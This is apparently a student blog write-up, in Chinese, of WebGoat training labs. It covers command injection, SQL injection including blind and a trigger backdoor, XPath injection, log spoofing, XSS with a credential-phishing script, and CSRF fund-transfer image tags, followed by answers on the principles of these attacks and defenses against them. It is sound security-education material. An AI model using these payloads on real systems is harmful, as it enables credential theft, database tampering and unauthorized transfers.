zhyy's_daddy

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

一、实验过程

0.开启webgoat

(0)下载(地址:https://github.com/WebGoat/WebGoat/releases/tag/7.0.1

下载完成后,将文件放到主目录下。

(1)输入 java -jar webgoat-container-7.0.1-war-exec.jar 

(2)浏览器打开图中的url: http://localhost:8080/WebGoat 

(3)选择登录表单下面的任一用户名和密码进行登录

 1.命令注入(Command Injection)

(1)在下拉框上右击,点击 inspect Element ,在 AccessControlMatrix.help 旁边加上"& netstat -an"

(2)选中修改后的值再点 view ,可以看到命令被执行,出现系统网络连接情况:

2.数字型SQL注入(Numeric SQL Injection)

题目大致为:Try to inject an SQL string that results in all the weather data being displayed. (通过注入呈现所有的天气数据信息)

(1)通过观察给出的SQL语句,以及点击提交后呈现的数据发现:“station”参数为注入点,直接在页面代码里的option标签的value值里添加  or 1=1 拼凑出语句: SELECT * FROM weather_data WHERE station =101 or 1=1 即可产生注入

3.日志欺骗(Log Spoofing)

(1)灰色区域代表在Web 服务器的日志中的记录的内容。目的是使用户名为“admin”的用户在日志中显示“成功登录”

(2)往该应用中注入回车(0d%)和换行符(%0a)。在username 中填入“helloworld%0d%0aLogin Succeeded for username: admin”

4.XPATH Injection

(1)XPATH 注入发生在当网站使用用户提供的信息查询XML数据时。通过向网站故意发送异常信息,攻击者可以发现XML数据的结构或访问那些本来无法访问到的数据。如果该XML 是一个用户认证文件(例如一个基于XML 的用户文件),攻击者还能借此提升自己在网站中的特权。使用XPATH 查询XML,通过一个简单的描述性语句类型,允许XML 查询,找到一条信息。

(2)题目要求是使用帐户Mike/Test123,目标是试着去查看其他员工的数据。

(3)在用户名处注入 hello' or 1=1 or 'a'='a ,密码是必须的字段,可以任意输入

5.SQL字符串注入(String SQL Injection)

(1)下面的表格,允许用户查看他们的信用卡号码。尝试通过SQL注入将所有信用卡信息显示出来

(2)输入 hello' or 1=1--  ,进行注入

6.LAB: SQL Injection

【1】Stage 1:String SQL Injection

(1)以用户Neville登录,在密码栏中输入 ' or 1=1 -- 永真式进行SQL注入,发现登录失败

(2)查看发现password的最大长度为8,将其修改为20,再次注入,成功

【2】Stage 3:Numeric SQL Injection

(1)该题目的目的是通过注入语句,浏览到原本无法浏览的信息。绕过认证执行SQL注入,通过一个普通员工的账户larry,浏览其BOSS的账户信息。

(2)我们先使用上一题的办法登录进Larry的账户。(即修改password字段的长度)

(3)老板的薪水应该是最高的,所以把其中的value值改为 101 or 1=1 order by salary desc -- ,这样老板的信息就会被排到第一个

(4)点击 ViewProfile ,即可查看老板的详细信息

7.Database Backdoors

(1)Try to inject another update to update salary to something higher(利用UPDATE语句,通过SQL注入“涨工资”)

(2)输入注入语句: 101; update employee set salary=10000 ,成功把该用户的工资涨到了10000。

(3)接下来,添加触发器,其功能是创建SQL后门,把表中所有的邮箱和用户ID都设为指定数据

101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='hello@world.com'WHERE userid = NEW.userid

8.数字盲注(Blind Numeric SQL Injection)

(1)题目中说明了下面的表单允许用户输入帐号并确定它是否有效,即返回值只有账户有效或无效两种。目标是找到 pins 表中cc_number 字段值为1111222233334444 的记录中pin 字段的数值。pin 字段类型为int,整型。输入找到的数值并提交,通过本课程。

(2)先输入 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000); ,结果是 Invalid account number. ,无效。

(3)通过二分法,不断尝试,确定范围在2000-2500之间,继续二分法尝试,最终得到Number为2364

9.盲字符串注入(Blind String SQL Injection)

(1)下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。目标是找到 pins 表中cc_number 字段值为4321432143214321 的记录中pin 字段的数值。pin 字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本课程。

(2)同样可以通过注入的方式查找到该字段的值。查询语句非常类似上一节:

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' ); 

 该语句使用了SUBSTRING 方法,目的是为了取得pin字段数值的第一个字母,并判断其是否比字母“M”小。

(3) 经过多次测试(比较0-9A-Za-z 等字符串)和页面的返回数据,判断出第一个字符为“J”。同理继续判断第二个字符。

(4)这样一步步尝试,最后确定用户名为 Jill 

 

10.跨站脚本钓鱼攻击(Phishing with XSS)

(1)题目要求是关于一个页面中存在XSS漏洞时,如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。

(2)使用XSS和HTML插入制作一个钓鱼网站,将其输入在search框中,代码如下:

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR

 

(3)输入后下拉网页,会有用户名和密码的框出现,随意输入用户名和密码

11.LAB: Cross Site Scripting

【1】Stage 1:存储型XSS ( Stage 1:Stored XSS )

(1)执行存储型跨站脚本攻击,以“Tom”身份登录网站,修改个人信息。验证用户“Jerry”会受到攻击。每个帐号的密码是用户明名字的小写(如:Tom的密码是tom)

(2)以用户名“Tom”密码tom登录,选择Tom,点击“View Profile”按钮。现在可 以看到Tom的个人信息。点击“Edit Profile",在“Street”一栏中进行XSS攻击。加入 如下代码,点击“UpdateProfile": <script>alert("haha");</script> 

(3)退出登录,以用户名Jerry,密码jerry登录,选择浏览Tom的信息,会弹出如下注入脚本,攻击成功

【3】Stage3:Stored XSS Revisited

验证Bruce的个人简介中包含有XSS攻击,使用David用户登录,查看Bruce的个人简介,出现弹窗,表明存在XSS攻击。

 

【5】Stage5:Reflected XSS

(1)使用雇员搜索页面漏洞构造一个包含反射型XSS攻击代码的URL。验证另一位雇员访问该URL会受影响。

(2)以用户名Tom,密码tom登录。点击“SearchStaff",在搜索框中,添加如下一段代 码即可完成: <script>alert("XSS");<script> 

12.Stored XSS Attacks(存储式 XSS 攻击)

(1)目标是创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。

(2)在title中任意输入字符。在内容中输入以下代码: <script>alert("XSS");</script> 

(3)点击“hellworld",这就比如刚创建的帖子,由自己或者其他人浏览,然后会弹出一个对话框,证明XSS攻击成功

13.Reflected XSS Attacks(反射型XSS)

(1)1.当我们输入错误的用户信息后,服务器校验输入有误,会返回错误页面并将错误内容展示给我们看

(2)如果将带有攻击性的URL作为输入源,比如,就会弹出对话框 <script>alert("helloworld");</script> 

14.Cross Site Request Forgery(CSRF)

(1)要求:需要写一个URL诱使其他用户点击,从而触发CSRF攻击。 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击了图片,就会触发一个CSRF事件。

(2)查看自己电脑的Screen和menu的值

(3)在Message框内输入 <img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000"/> (这句话的意思是将Funds即金钱转到自己的账户里),点击提交之后可以看到信息

(4)点击Message List下的链接后,攻击成功

15.CSRF Prompt By-Pass

(1)和上一个类似,发个邮件给newsgroup,包含两个恶意请求:一个是转钱的金额,另一个是确认转账。

(2)在信息框输入

<img src="attack?Screen=1471017872&menu=900&transferFunds=5000" 
width="1" height="1"> 
<img src="attack?Screen=1471017872&menu=900&transferFunds=confirm" 
width="1" height="1">

 

二、基本问题回答

1.SQL注入攻击原理,如何防御?

  原理:

  通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。

  SQL注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行SQL语句以及进行其他方式的攻击,没有对用户输入的数据进行过滤消毒是攻击成功的主要原因。

  防御:

  (1)对漏洞注入点相关代码进行代码及SQL注入关键字的过滤,以规范代码安全性;

  (2)不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接;

  (3)应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

2.XSS攻击的原理,如何防御?

  原理:

  XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

  防御:

  (1)统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击;

  (2)检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。

 

3.CSRF攻击原理,如何防御?

  原理:

  CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

  防御:

  (1)对于web站点,将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field),这将帮助网站防止这些攻击。一种类似的方式是在form中包含秘密信息、用户指定的代号作为cookie之外的验证;

  (2)改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。

 

 

三、感想

  根据指导,加深了我对SQL注入、XSS和CSRF的理解。在经历了一个学期别样的技术课程学习后,收获挺大。

posted on 2019-05-26 17:38  zhyy's_ancestry  阅读(138)  评论(0编辑  收藏